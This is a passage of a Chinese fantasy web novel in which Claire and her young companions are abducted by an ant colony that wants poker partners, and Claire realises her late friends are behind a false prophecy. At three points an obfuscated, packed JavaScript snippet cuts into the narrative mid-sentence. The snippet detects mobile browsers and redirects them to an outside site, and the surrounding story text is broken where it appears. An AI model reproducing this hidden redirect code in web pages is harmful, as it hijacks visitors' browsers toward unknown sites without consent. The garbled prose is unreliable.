对她来说,这个旅途,稍微有点……路途颠簸。 克雷尔走路时当然不会考虑她的感受。 “我从刚才就想问了,”埃弗里看了过来,“之前伊尔卡拉那样,是为了睡在骷髅里,不被克雷尔发现,现在为什么还要保持着巴掌大的体型?” “再小一点,我说话你们就听不清了,变得和你们一样大,我就要和你们一样走路了,我又不傻。” 蒂娜撇撇嘴:“体型越大越耗能,你是太弱了,根本没办法支撑和我们一样大的体型吧?” 伊尔卡拉不爽,她这几十年懒散度日是事实,以至于被比她小很多的家伙说弱,也找不出反驳的话。“克雷尔,你能用传送魔法吧?现在就把我们传送过去。” 克雷尔:“你是说带着三个未成年一起?” 如果有人会晕车,那她一定也会晕传送,不过,不晕车的人同样会晕传送。 把数天的路程浓缩为一瞬间,对传送者的身体有着非常高的要求,必须在成年后经过专业训炼,并不是说健康健壮就可以。 “对,传送,让她看看谁才是那个弱的人!” “你是灵体,当然不会受传送的影响,这证明不了你比她强。”克雷尔说话时,感觉被放在口袋里的羽毛笔戳了下手指。 在出发前,她在二楼的书房里找了半天,出于某种不太确定的预感,把黑鸭羽毛笔和酸浆果种子带上,总觉得会有用。 现在它们就在她的口袋里,随着她的步伐,发出沙沙的细微声音。 传送是个好主意。 同样是在出发前,安西娅提出,她们可以绘制出一张通往圣地的简易地图,再准备一封书信,让克雷尔带着信进行传送,这样人们看到信就会帮助她。 她们在经过讨论与思考之后,做出的决定是信任她,不过被她拒绝了。 克雷尔并不迫切地想知道真相。她确实想知道,但从心态上讲,她甚至还没有伊尔卡拉积极。 伊尔卡拉又说:“借个马车总行吧?这样太慢了。” “如果下一站能遇到村镇的话。” 和来时不同,她们现在不需要收集任何东西,一条路线直达蒂娜老家所在的精灵聚集地。选的是最快的路线,可以节省至少半个月的时间,弊端是一定程度上要抛弃便利性。 未经开拓过的路不是很好走,沿途也很少见到村镇。 在第七天,她们终于见到了村庄,并且成功借到了马匹和车。唯一的问题是,在听说她们要往北走、从那座山丘穿行过去之后,村民立刻变得不愿意租借了。 安西娅问:“那个山丘是有什么问题吗?” 村民们散去后,只留下一个中年人,看样子是负责为她们解疑答惑的。 她裹着厚厚的围巾,戴着皮手套,只露出一张皮肤黝黑的脸,她把马匹重新牵回马厩,塞上一捧干草后才说,“其实也不算大事,只是过去的人都会无故失踪而已。” “……” 对她们呆滞的反应感到满意,中年人得逞地笑了起来,脸上的皱纹一道接一道地舒展开。等她笑够了,就摘下手套,冲她们摆了摆手,示意她们先进屋取暖。 屋子很宽敞,摆放着一套足以容纳十几人的桌椅,绿格子桌布上摆放着茶壶,水汽升腾,墙上贴着一张值日表格,在今天的日期后面,字迹潦草地写着“威西尔利”。 这间房屋似乎是村子的待客室。 “真的不是什么大事,因为失踪的人往往在一天后,又会莫名出现在原本的地方。而且身上没有一点伤,连衣服都没多一个褶皱。” “然而无不精神涣散,失去了失踪当天的记忆,无论怎么问都问不出来,而后便陷入了长久的昏迷,只能把她们背回来。”今天负责值守的威西尔利女士,在成功调动听众的情绪之后,又幽幽补充,“大概长达十二个小时。” “?那不就是睡着了吗?”蒂娜心直口快。 “昏迷十二个小时之后呢?”埃弗里问。 “然后就醒了。醒来后也做过检查,身体各项数据都没任何异样。” 几人面面相觑。 最后还是安西娅开口问:“你们没有调查过吗?说是没有影响,但万一不是没有,而是暂时没检查出来呢?” “我们当然调查过,只是暂时没有结果,你知道的,记忆被清除的话,很难有进展。等到明天春天,我们会联系协会,让她们派人过来处理。” “为什么不现在就联系呢?” “冬天是个很无聊的季节,突然出了这么一档子事,不挺好玩的吗?”威西尔利摊了摊手,不以为意。 所以这是什么冬季游乐活动吗? 多亏了她这句话,安西娅突然明白了,她之前说“身体没有异常”的真正含义。 意思是在大冬天,即使失踪了一天也没有冻伤;从莫名回到原位,到被村民发现带回,时间上肯定不是无缝衔接,同样没有受冻。 她貌似有点理解为什么她们会是这个态度了。 失踪肯定不是失踪,说是绑架更合适,但要说是绑架,对方又似乎没有恶意。 壁炉被烧得很旺,暖暖烘烘的,喝了口茶,从胃暖到体表,思路也变得清晰起来。 她在听完叙述后产生的担忧、疑虑情绪,村民们作为“失踪”事件的当事人,必然也有过,并且比她现在的,要强上许多倍。只是不知为何,演变成了“这不挺好玩的吗”。 安西娅捧着茶杯,看着威西尔利。她不觉得自己是一个天才,但如果把她们的轻松心态,归咎于没心没肺,那她会认为自己是个傻瓜。 “你们其实知道是怎么回事,对吗?”埃弗里代替她问出了这个问题。 “只是有些猜测而已。” 看表情,即使只是猜测,那也是八九不离十。 “所以你们过去了也会失踪的,我可不想在那一天半宿里,没人照顾我的马儿,等你们失踪回来后,再来问我借马匹吧。” 威西尔利为她们准备了留宿的房间,并询问她们什么出发,她好估算时间,到时候进山谷去把她们背出来。 她强壮且热心,看起来一次能背两个人,但埃弗里一点也不想有这种体验。 “这或许很好玩,但我不想玩。”埃弗里说,“伊尔卡拉,你怎么想?” “我觉得还行,说不定会好玩呢。” “我是问你对‘失踪’、或者说‘绑架’的想法,”埃弗里没有叹气,只是憋足气,灌了一大口红茶,然后继续,“能抹除记忆的种族不多,但我们的知识储备量可能不足,动用一下你脑子里的记忆图书馆吧。” 伊尔卡拉检索完资料说:“能做到这点的种族是不多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559901|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且她们都没理由这么做,不过谁知道?说不定是某个家伙突发奇想。” “去看看不就知道了?”蒂娜跃跃欲试,“反正我们必须要经过那里,按威西尔利的说法,我们只要过去了就会被绑架。” 安西娅思索片刻,开口道:“克雷尔,你的想法是……” 克雷尔看出安西娅也有些意动,却担心因此耽搁时间。 她没怎么和孩子打过交道,不是很清楚,说不定天不怕地不怕和爱冒险是这个年纪的共性? 她没理由否决,“其实我并不急着赶去精灵聚集地。” 于是很快拍板,蒂娜和埃弗里组队,先行进入山丘调查,安西娅负责隐蔽地跟随在她们身后。 克雷尔则是在村子里待命,如果在明天中午前没人回来,就去找她们,伊尔卡拉暂且忽略不计。 计划很粗糙,不过没有大问题。狩猎魔物时也是这个分工。 克雷尔猜测,是安西娅比较沉得住气,由她担任后备队员,不至于在队友突然失踪时慌了神,导致暴露。 只是她没想到,刚过去不到两个小时,下午茶时间都还没到,就有人慌里慌张地跑回村子。 慌了神跑回来报信的是蒂娜。 也就是说,按照计划“失踪”的人,变成了安西娅和埃弗里。 很怪,如果发现了安西娅在后面躲着,不是应该三个一起带走吗? 威西尔利很惊讶:“我没跟你们说过,一次只会失踪两个人吗?” “我想没有。”克雷尔看了一眼蒂娜,而且没法解释为什么被撇下的是她。 是挑衅吗? 蒂娜有些焦躁,更多的是不安,这可能是她第一次和同伴分开行动,更糟的是,这并非计划以内。 她的不安很快转变为愤怒,抱着那把黑剑气势汹汹地往外走,克雷尔马上跟了过去。 沿着村口的路往北走,四十分钟左右,就到了埃弗里她们失踪的地方。山丘不怎么高,上面种了一些果树,土壤松软,可以看到地上的脚印是突然消失的。 克雷尔蹲下身捡起一块小石子,掂了掂重量,又丢了回去,她示意蒂娜跟她一起下山,直到来到山丘陡峭的背面。 她让蒂娜用剑背从左到右敲击石壁,直到听到石壁中空的咚咚声才停下。 “虽然我知道答案,但以防万一,你们那流行玩迷宫游戏吗?” 蒂娜摇头。 克雷尔:“好吧,这可不太妙。” “我觉得事情不会更糟了。”埃弗里抬着头说。 昏迷后被带到了未知的地方,听起来像是个恐怖故事的开端。但如果是被带到了未知的地底呢? 现在她抬起头就可以看到蜿蜒的树根。 “我不想拆台,但这真的不算最糟糕的。”安西娅就躺在她旁边,目光盯着某一处,轻声说。 顺着她的目光看过去,门口——如果称之为门的话,站着三四十人,她们有着完全相同的身高、体型、外貌。 “你好,我叫赫罗纳。” 声音并非来自于某一个人,而是她们的异口同声,整齐得像是被刀切开的洋葱切口,带有某种奇异的令人眩晕的特质。 埃弗里感觉自己连站起来的力气都没有。 从那三四十人中走出一个,她蹲在两人面前,牵动嘴唇,露出了一个亲切的笑容。 如果她们的嘴唇两侧、本该是酒窝的地方,没有长着两颗长獠牙的话,埃弗里会觉得亲切的。 “我没有恶意,你来陪我玩个游戏。”她对两人说。 10. 蚁群 安西娅盯着她的獠牙看了许久,问:“赫罗纳……蚁群?” 对方点了点头,“我是这里的第五代蚁群。” “我是安西娅,那个是埃弗里,很荣幸被邀请到了这里,如果提前告知,让我们有个准备就更好了。”安西娅面带微笑,滴水不漏地刺了对方一下。 她知道赫罗纳不可能听懂她的潜台词。 虽说语言是互通的,但各种族内部常用的语言形式,其实各有特点。比如,蚁群没有人称复数的说法。 只有“我”,没有“我们”,在她们内部,也不存在第二人称“你”。 因为蚁群这个整体本身就是一个“我”。 同时,蚁群内部的每一只蚂蚁也是“我”。 “个体即集体,集体即个体”,是蚁群这个种族最大的特点。 通识课的老师花了足足三节课来讲蚁群,安西娅很庆幸自己认真听了。 当时老师为了方便她们理解,用了一个又一个比喻,又不停地给每一个比喻打补丁,为了让它们更贴切。 让安西娅印象最深的比喻是“大脑和脑细胞”。大脑是我,组成大脑的每一个脑细胞也是我——大致是这个意思。 和大脑不同,蚁群中的每一个组成的个体,都有着思维能力,只是她们思维互通。 世上存在真正的感同身受,至少在蚁群里存在。同一蚁群内部的个体站在一起,无需交流,无需共振,就能做到。她们感知对方,就像是感知在这具身体以外的另一个自己。 虽然安西娅在那门课上拿了接近满分的成绩,但真正面对蚁群时,她不得不承认,自己知道的不多,并且对于已知道的那部分,也只是一知半解。 她甚至不知道该怎么和对方对话。 幸好赫罗纳主动开口了。“我听懂了你说的话,虽然语调很奇怪,我不确定。要玩游戏吗?你。” 在发“你”这个音时,她有些停顿,发音也不准确。 思维可以互通,所以她知道这个音节的意思,但发音的准确度,更多的取决于发声器官。看来是不常发这个音节。 没怎么和其她种族交流过吗?安西娅想。 “你是新的赫罗纳?”她特意没用出生或是孵化,而是换了个比较好理解的说法。 “我是上个月的。” 上个月刚出生,但是和别的蚁一模一样? 好吧,蚁群的未成年比人类未成年长得还快。 从外表区分不出成年与否,更区分不出其中的某个个体是蚁王、工蚁,还是守卫蚁。 她们都有着一头红发——也有可能是橙色,如果光线不够亮,头发太短,就很难区分出那细微的区别——还有一模一样的外貌,她们还都叫赫罗纳。 如果连外表和思维都别无二致,区分其实意义不大,谁知道呢? “我不知道,我上课时没有好好听!”蒂娜一屁股坐在地上。 克雷尔在一旁的石墙上,刻下第三道斜杠,转头问:“为什么不好好听呢?” 她一定经历过很多次与同伴失散的危机时刻,所以才可以在这种情况下,用一种闲谈般的轻松口吻说话。 蒂娜做不到,她呛了回去:“难道你就好好听了吗?你不也找不到走出迷宫的办法!” “我听了,但你不能指望我记得几百年前上课的内容。” “不,你没听,”伊尔卡拉体贴地指出,“在上蚁群建筑课时你逃课了,和朋友一起。所以我在你朋友的记忆里,也检索不到走出迷宫的办法。” “即使我听了几百年前的课也没用,蚁群建造迷宫的工艺,不可能几百年都没有长进。” 伊尔卡拉充当捧哏:“老旧的课程应对不了多变的题型。” 蒂娜瞪了她们一眼,觉得不够,又狠狠瞪了一眼,她杵着她那把巨大的黑剑,“就不能暴力突破吗?” “埃弗里和安西娅应该和蚁群在一起,现在她们可能是客人,我们把这里拆了之后,她们估计就是人质了。”克雷尔说着,摸了摸手边的柱子。 她们不知道在迷宫里兜了多少圈,反正是第四次遇到这根柱子了。 又划了一道标记之后,把柱子抛在身后,继续向前走。 “这次尝试一律选择左手边的小路怎么样?”伊尔卡拉提议。 全员同意。 蚁群的迷宫是最复杂的,因为她们不用考虑“该怎么走出去”的问题——她们不会感知不到别的自己的位置,更不需要一份清晰明了的路线图。 只要蚁巢里有一个蚁在,她们就不可能通过不了迷宫。 蒂娜方向感很好,仅限于地上,想要找到地下迷宫的出口,比起聪明才智和记忆力,更需要一点运气。 碰巧就找到了出口,或者碰巧遇到了一个蚁,对方把她们带过去。 克雷尔觉得后者的可能比较大。 她高估了她们的运气。 在迷宫里停下休息两次,吃食物补充体力两次,她们进来时是下午,估计现在外面已经是深夜了。 又继续绕了几个弯,甚至她们自己都不确定,究竟是在前行还是原地打转。直到察觉前方有光亮,她们才彻底松了口气。 生活在地下的蚁群当然不需要光亮,但她们的“客人”可能需要。 克雷尔给自己一行人施加了隐形魔法,然后像散步一样慢吞吞地走进去,没蚁注意到她们。 蒂娜快步跑到石桌前,桌上放着许多纸片和茶点,石桌一侧坐着安西娅和埃弗里。 她凑得很近,细致地端详她们,在确认两个同伴没任何问题,只是神态有些疲惫后,才松了口气。 “新生的蚁王,和新生的守卫蚁?”克雷尔看了那群赫罗纳一眼,轻声说,“难怪我们在迷宫里绕了那么久都没人来。” 看来隐形状态可以说话,蒂娜又松了口气。 埃弗里正在谈论某次考试,老师把她的选择题B答案当成了D,少给她一分的事——天姥啊!蒂娜一点也不想听这个! 她迅速离开了石桌,那几个蚁族倒是听得很认真,让她觉得匪夷所思。 “她们不都一模一样吗?你怎么知道她们是蚁王和守卫蚁?”她走到克雷尔身边问。 “一个能判断骨龄的小魔法,你不会想学的。”克雷尔不想解释太多,但她还是解释起来,“这么说可能有些不合适——如果把蚁群视作一个整体、一个人体。你的皮肤细胞二十八天更新迭代一次,胃细胞只需要七天,即使它们长得一模一样,也能以此推断出它们的身份。当然,只是比喻,蚁群个体的寿命没那么短。” “但是你说蚁王和守卫蚁都是新生的?” “是的,大量的新生,说明她们正处于种群的更新迭代期,所以才会‘绑架’。” 蒂娜感觉脑子晕晕乎乎,她假装自己听懂了其中的关联。 可能是夜深了,经过了一整天的神经紧绷,骤然松弛之后,又听了会儿枯燥的说明,她觉得眼皮有些重,于是眨了眨眼。 眨个眼能花多长时间? 可当她把眼睛睁开时,却发现眼前的景象变了,石桌、土墙、头顶的树根、说话的埃弗里……全不见了,她明显位于一个四面是石墙的小房间。 身体上的异样,让她不得不注意到另一个事实——她正坐在地面上,手臂被绑在身后。 她往旁边看过去,如果不是腿没有知觉了,她一定会被惊得跳起来,克雷尔居然也被绑了。 她的五感足够敏锐,隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559902|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐约约听到了房间外的声音,埃弗里似乎是在和谁争吵,夹杂着什么东西被摔在桌面上的闷响。 这就够让人心烦意燥的了!不用想也知道,肯定和被绑起来的她们有关。 蒂娜焦急地想要挣脱绳子,除了磨得手臂火辣辣以外,没有任何收获,她不满地质问没有一点着急迹象的克雷尔:“你的隐形魔法有漏洞?” “我不至于犯这种错。她们确实看不到我们,也听不到我们的声音。” “那这是怎么回事?” “不过你知道,声音是通过声带和空气振动产生的,人在行走奔跑时也会带起空气流动……” 蒂娜知道她后半句打算说什么——蚁族能够捕捉到空气中的振动和化学信号。 隐形不能算失败,只能算半失败……可恶,根本没有区别! “到现在你该告诉我,你的计划了吧?别说你没有料到隐形对蚁群不起作用!”蒂娜恼怒地说,显然认为,克雷尔是故意让她们被抓住的。 “真的没有料到,我知道这一点,但当时没想起来。”克雷尔和蒂娜大眼瞪小眼,然后突然笑了。 从表情看,她笑得很愉快,几乎是开怀大笑,“我是很厉害,但你该不会认为我是什么都懂、算无遗漏的人吧?” 蒂娜难堪地把头扭开。 想想在遇到克雷尔之后她们经历的事吧,再想想看克雷尔总是轻描淡写的轻松神态……她认为自己会那样想再正常不过。 克雷尔笑够了,“事实上,在我们那群朋友里,我是记性最差的那个。” “我可以作证。”伊尔卡拉帮她们解绳子,她体型可以随意变化,绳索对她没用,蚁群对把她绑起来没什么执念,似乎也不介意她帮助克雷尔和蒂娜挣脱。 所以她很轻易就解开了绳索。 蒂娜先被解开,站起身,第一时间冲向石门,作势要劈开,却被克雷尔制止。 “别担心,虽然在更新迭代期,蚁群向外探索的欲望,和攻击性都有所增加,但由于该时期的特殊性,她们反而会比以往更加谨慎,轻易不会爆发冲突。” 蒂娜明白克雷尔的意思——安西娅和埃弗里很安全。 她走到房间门前,外面有声音传进来,像是东西被摔在地上的闷声。 隔音似乎不太好。 所以,蚁群肯定早就感知到这边的空气振动了,却没有赶过来阻止她们挣开绳索。 绳索绑得不算紧,很容易解开;蚁群也没把她们分开关押;更早一些,威西尔利谈论绑架时的语气……一切都在向她说明,这其实不是件危险的、值得特别警惕的事情。 她一开始就明白,否则不会提出要进山谷,但真的和同伴失散后,哪怕并不危机,她还是会忍不住为之担忧焦躁。 外面的声音更清晰了。 是纸张被摔在桌子上的闷响,埃弗里说的话是“放过我们吧!我一次性上十节选修课的时候都没这么困。” 安西娅也说:“蚁群思维共通,你们一个庞大种群,来欺负我们两个人,未免太仗势欺人了!” 安西娅的声音听起来比以往任何时候都更无力,听到最后那个词,蒂娜几乎要冲出去了。 然后蒂娜听到了一个笑吟吟的声音:“放过你?我还没玩够呢。” 但那人突然话锋一转,同时转过身来,“放了她两也可以,你两个陪我玩。” 后一句是对着绷着一张脸冲出来的蒂娜,和慢悠悠走出来的克雷尔说的,目光充满了势在必得。 当她微笑时,脸颊上长长的獠牙也会跟着向上移动。 蒂娜怒视着她:“不管你要玩什么把戏,我都奉陪!” “不玩把戏,玩游戏,打扑克牌,会玩吗?” 11. 扑克牌和旧友 克雷尔很少会怀疑自己的听力。 现在除外。 她还没来得及问出声,就听到身旁的蒂娜重复了那个词,气势汹汹:“打扑克牌?打扑……好啊,不就是打架吗?我跟你打!你们居然围殴我的朋友,我要替她们报仇!” 克雷尔阻止了她,“她说的应该是桌子上的纸牌,不是要扑过来打架。” 虽然绑架她人只是为了玩牌,听起来可信度不高,但看着每人手里都抓着一把牌、桌面上还堆着一堆牌的情景,她实在没办法否定这个可能。 克雷尔说:“她们确实很累了,我们可以接替她们陪你玩,不过请先说明规则。” 赫罗纳立刻把安西娅和埃弗里手里的牌收走,就连最好胜的埃弗里,都没有对此表示不满,反而一副解脱的表情。 她飞快地洗了牌,介绍说:“一共五十四张,不过每局开始前,我会随机抽取几张丢掉,防止有人利用概率学作弊。” 安西娅:“意思是防止赫罗纳——赫罗纳蚁群作弊。” 她顺便介绍了一下蚁群的名字,然后说:“不过我觉得,她们的种族特性本身就是在作弊了。” 没有一个赫罗纳否认,“我很抱歉,但我没办法取消。” 赫罗纳说完,转向克雷尔,开始讲述扑克牌的几种玩法——和克雷尔前世的大同小异——然后让她们选择自己感兴趣的玩法。 “感觉有点像石子棋,但简单多了,”蒂娜仍有些怀疑,她看了神情疲惫的安西娅和埃弗里好几眼,“你难道是想说她们这样,也只是玩牌玩的?” 安西娅苦笑:“对我们宽容些吧,如果你玩了一夜的牌,并且对手是一整个种群,你也会和我们一样。” 她们起初并不打算真的玩游戏,只是为了周旋,才拿起扑克牌,然后发现,里面的黑桃形状和银片一模一样,这才勉强认真起来。 但蚁群真的太作弊了。 她们内部没办法玩牌,因为对方牌面上出现的内容,也会如实出现在自己脑中;对方打算出什么牌,在没出之前,自己也知道得清清楚楚。 所以只能和其她种族玩,并且需要两个别的种族。 但别的种族可能不太情愿,谁乐意玩一个自己一直输的游戏呢? 表面上看,对手只是一个蚁族,实际上是在和一整个蚁群斗智斗勇,用个体对抗群体的智慧,如果有人能做到取胜,请一定要开班教学。 “所以绑架她人,也只是为了让她们陪你玩牌?”克雷尔问。 “玩牌,还有说话。我没办法和我交流,因为好多个我加在一起,是一个‘思维’。但我要和外界交流,我要和别的‘思维’交流。” 每个蚁群都可以看做一个个体,王蚁、守卫蚁、工蚁的更新换代类似于器官的重生。 当所有“器官”都更新换代完成,那时她们、或者说她,会抛弃原来的名字,成为一个全新的蚁群。 好吧,作为个体之间相独立的种族中的一员,克雷尔很难完全理解蚁群的生存逻辑,非要深究,只会给自己徒增烦恼。 不过有一点是肯定的,现在正处于那个关键时期。 她们不是章鱼,不存在记忆传承,思维共通确实很厉害,但一群新生的“婴儿”思维共通,恐怕没什么用。 所以,在这个时期,理所当然的,她们会迫切需要与外界沟通。 她都有点理解为什么不直接交流,而是要边玩牌边聊了。 她们和其她种族交流磕磕绊绊,聊天很困难,但如果有别的东西可以让其她种族分一下神,那点磕绊也就没那么难以忍受了。 而且都不用专门找话题——“我不该出这个的”“我就剩两张牌了”,对话自然而然就进行下去了。 这只是刚出生的赫罗纳的天真预想,实际上远没那么顺利。 “为什么不玩石子棋呢?”蒂娜从口袋里掏出了石子。 “太简单了,石子棋。”赫罗纳说。 “哈?” “只要熟悉了对方的棋路,并且在脑海里预演出所有的可能,想赢太轻松了。但扑克牌不一样,洗牌发牌具有随机性,如果牌非常非常的差,即使是我,也有可能会输。” 蒂娜有点不高兴,不是因为她说石子棋简单,而是赫罗纳在开局之前,就默认了她一定会赢,除非牌非常差。 蒂娜觉得自己被挑衅了。 克雷尔却在想,作为一个上个月才诞生的蚁族,她的嘴皮子有点过于流利了。 埃弗里和安西娅去休息了,如果她们在的话,埃弗里就会立刻指出,赫罗纳只是把她先前说过的话复述了一遍而已。 蒂娜在石桌后面坐下,一边抓牌,一边嘟嘟囔囔地说:“我就不信了。” 她出了个三,克雷尔紧随其后,跟了个七,赫罗纳跟了个八。 蒂娜问:“诱饵是我和埃弗里,为什么被带走的是安西娅,而不是我?” 问题不重要,但她想不通。 “安西娅看起来比你,更会玩牌。” “太没礼貌了!” 赫罗纳:“是真的,你出局了。” “这么快?”蒂娜腾地站起来,又坐下,疑惑地说,“你诈我?刚才的规则有说游戏是出局制的吗?” “没有,但我已经赢了。”赫罗纳说着,向她们展示了手里的牌。 克雷尔把手里的一大把牌丢进牌堆,无视蒂娜不满的眼神,开始洗牌。 蒂娜嘟囔着:“我从来不知道,蚁群内部居然发明了这么个游戏。” 那才不是蚁群发明的。不过克雷尔很感激蒂娜开启了这个话题。 她曾经突发奇想,在这个世界复刻前世的东西,大多数都失败了,扑克牌则因为简单成功了。 她和朋友们玩过几局,但就像石子棋是精灵限定一样,没能流行起来,只有少数几个人玩过而已。 她也很好奇扑克牌是怎么跑到了蚁群这儿。 她之所以立刻就同意接替安西娅她们继续玩牌,也是出于此。 果然赫罗纳解释道:“不是我,我妈说过,游戏是别的种族告诉我姥姥的。” 剧情过于眼熟,蒂娜摸了摸黑剑,反问:“在八百年前?” 赫罗纳仔细想了想,“不知道,不过我在找墙上的记录,哦,是八百七十七年前。” 克雷尔和蒂娜对视了一眼。 蒂娜又问:“你的姥姥听说过魔王吗?” 赫罗纳沉默了更长时间,然后摇头:“我不知道。” “好奇怪。”蒂娜喃喃自语。 克雷尔不觉得奇怪,答案一直很清楚,只是她一直克制自己,不要往那方面想而已。 她已去世的朋友们,在这场关于魔王的冒险故事里,出现的频率有点过于高了。 其实很明显了不是吗? 扑克牌、香菜、黑桃形状……知道她前世的东西,并且参与了城堡建造的人,还能有谁呢? “那个人是精灵吗?”克雷尔问。 她有一个爱开玩笑的精灵朋友。 赫罗纳说:“不是,是狼,我讨厌狼的味道。” 是的,她也有狼人朋友。 “看来是团伙作案。”克雷尔觉得,自己应该用一种轻松愉快的语气说出这句玩笑话,但实际上,话出口后,蒂娜担忧地看了她好几眼。 口袋里的羽毛笔还在戳,只是现在变得难以忍受。 现在她真的不用急着去圣地了。 她甚至愿意和蚁群打上三天三夜的牌。 蒂娜贴过来,低声询问:“怎么了,你猜出那个人是谁了吗?预言是假的,是不是?那个作案团伙是想害你吗?通过我们?” 她一连问了好几个问题,克雷尔一个一个回答:“是的,猜出来了。预言是假的,应该是。没有任何人想害我。” 她不是一个记忆力好的人。 可即使是在她们去世数百年之后,克雷尔依旧能够清晰地回想起,她们每个人的性格。 她很了解她们,正如她们也很了解她。 所以她隐隐约约可以猜到一点内情,她们想做什么,又为什么这么做。 她还可以直接问伊尔卡拉,验证自己的想法,只要张一下嘴,就什么都能知道了。 无论是扑克牌、黑剑、城堡门锁、银片,还是“预言”。 但她没有问。 蒂娜倒是因为她的话而彻底松了口气,然后缠着伊尔卡拉,不停地要求她替她玩牌。 “你不是有千年来所有去世的人的记忆吗?人数上碾压蚁群,该你上场了!这是一场团队赛!” “用脚趾头想都知道,我的记忆图书馆,和蚁群的思维互通不一样。”伊尔卡拉不耐烦地说,“我拥有的只是记忆而已,你不能指望一段记忆活过来,然后给我出谋划策吧?” 话虽如此,她还是坐到了蒂娜的肩膀上,指点她出牌。 果不其然,还是输了。 又来了几局,输赢已定的牌局实在没什么意思,蒂娜不服,要求玩石子棋。 石子棋刚开始时,蒂娜漫不经心地喝着蜜水,不假思索地落子,总是能轻松取胜。 渐渐,一局棋花费的时间越来越长,她的表情越来越严肃,不允许任何人和她说话,扰乱她的思路。 伊尔卡拉跳到其中一个赫罗纳肩上,贴着耳朵和她聊天,试图扰乱敌方思绪,给我方增加优势。 克雷尔打了个招呼,先去休息了,她觉得自己今天格外疲倦。 为了防止她再次迷路,一个赫罗纳在前面为她引路,绕过不知道多少个弯,终于抵达客房。 床是圆形的,木头纹理,没有拼接痕迹,像是斩断的木桩。 壁炉里燃烧着一种类似树胶的东西,没有味道,也没有热度,凑近只会感到有细风从火焰中吹来,抚在脸上——土地之下缺乏氧气,所以蚁族会人工创造重氧环境,以维持与其她种族相似的体型。 蓝色火焰发出的嘎吱声,像是脚踩在积雪上。 克雷尔躺下就睡着了,她做了一个很奇怪的梦,醒来后忘记了内容,身体像是泡在温水里一样,暖烘烘的,让她觉得应该是个好梦。 出了客房,迎面正撞上一个赫罗纳,对方看到她思索了一下,似乎是在感知,然后说:“你的同伴在左侧走廊尽头第一个房间,和我在一起。” “好的,我这就过去。”克雷尔匆匆说完又补问,“你们玩了一整个通宵吗?” “没有,只是聊天,和那个鬼一起,感谢鬼。” 走到第一个房间时,她听到里面传来的说话声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“到了之后,给它们喂上一吨新鲜的、你们那地区特有的草,放心,它们吃得下。”威西尔利用手指挨个梳理了那几匹马的鬃毛,它们一直在吃草,没有理会她。 “为了大餐。” 这话显然是对马说的。 借到马车之后,她们的进程快了很多,那几匹矫健的快马,让她们把行程从六天缩短到四天。 其实克雷尔觉得区别不大。 但另外四个人——包括伊尔卡拉——都热切地希望尽快回到精灵族。 克雷尔猜测,蒂娜没有把预言是假的这件事,告诉她的两个同伴,不然无法解释她们的兴奋劲是从哪来的。 “我们抵达了真相。”当她们即将抵达时,埃弗里难掩激动地说。 掀开马车的帘子可以看到,路边种植的德科迈提藤蔓,已经在向她们热情招手了。 路口两侧立了两块石头,一个用通用语写着“你想留下?还是只是路过?我不在乎!这里欢迎任何人!” 另一块石头上写着“德科迈提喜欢所有种族!所以我们聘请了它作为守卫,我们想提前知道你是谁!但你知道,它有点太好客了” 每个种族都会有许多居住区,人们称为“村”、“镇”,斯凯奇诺称为“城”,精灵族一律称之为“聚集地”。 由于是一群志同道合的朋友们聚在一起,共同打造的,所以从石头上的内容,可以窥见该聚集地的人们是热情、活泼,还是严肃、认真。 不过,如果是历史很久的聚集地,那就只能从中窥见初代的性格特征了。 比如这里。 左边的石头文字有多次粉刷的痕迹,右边的石头文字还很新,似乎是近些年才决定聘请德科迈提的。 “我不确定让德科迈提来当守卫,是否合适。”安西娅说。 克雷尔意外地看了她一眼,在大多数时候,安西娅都非常捧场。 “让德科迈提来当守卫,是个非常好的主意,只不过……”然后再说缺点,才比较像安西娅的风格。 蒂娜跳下马车,一边往前走,一边大声嚷着:“这次是我,下次就轮到你了安西娅!” 克雷尔不了解德科迈提,它看起来就只是普通的爬藤植物,攀爬在石头上,开一种手掌大小的喇叭花。 她很快明白了这种植物为什么能当守卫,它天生就是吃这碗饭的。察觉到有人靠近,细长的藤蔓立刻站了起来,每片叶子都争先恐后地靠近。 蒂娜把手放在一片叶子上面,然后她抓住一朵花,放在嘴边,似乎是在通过藤蔓向里面的人说话:“我是蒂娜,我和我的四个朋友来到了这里,她们分别是埃弗里、安西娅、克雷——” 蒂娜说不下去了,因为藤蔓上所有的花都调转方向,面朝着她,向她发射黑蝇、花斑蜘蛛、软甲虫等残缺的昆虫尸体。 “德科迈提是食肉植物,它吃昆虫。”埃弗里说。 所以就会把自己的食物往人身上扔? 克雷尔不知道该说什么:“……听起来很好客。” “其实是攻击行为。它食肉,而不仅是食虫,意思是只要是肉就吃。我们也是肉做的。”埃弗里解释说,“我想石碑上‘喜欢任何’种族的意思是,喜欢吃——我可能永远没办法理解夏林的幽默感。” “那投掷昆虫是怎么回事?” “我们太大了,就像吃特别美味的大餐前,会清空肠胃一样。” 12. 圣地 克雷尔摇了摇头,她也无法理解埃弗里突如其来的幽默感。 一般来说,清空肠胃指的是排泄,而不是催吐——太浪费食物了。 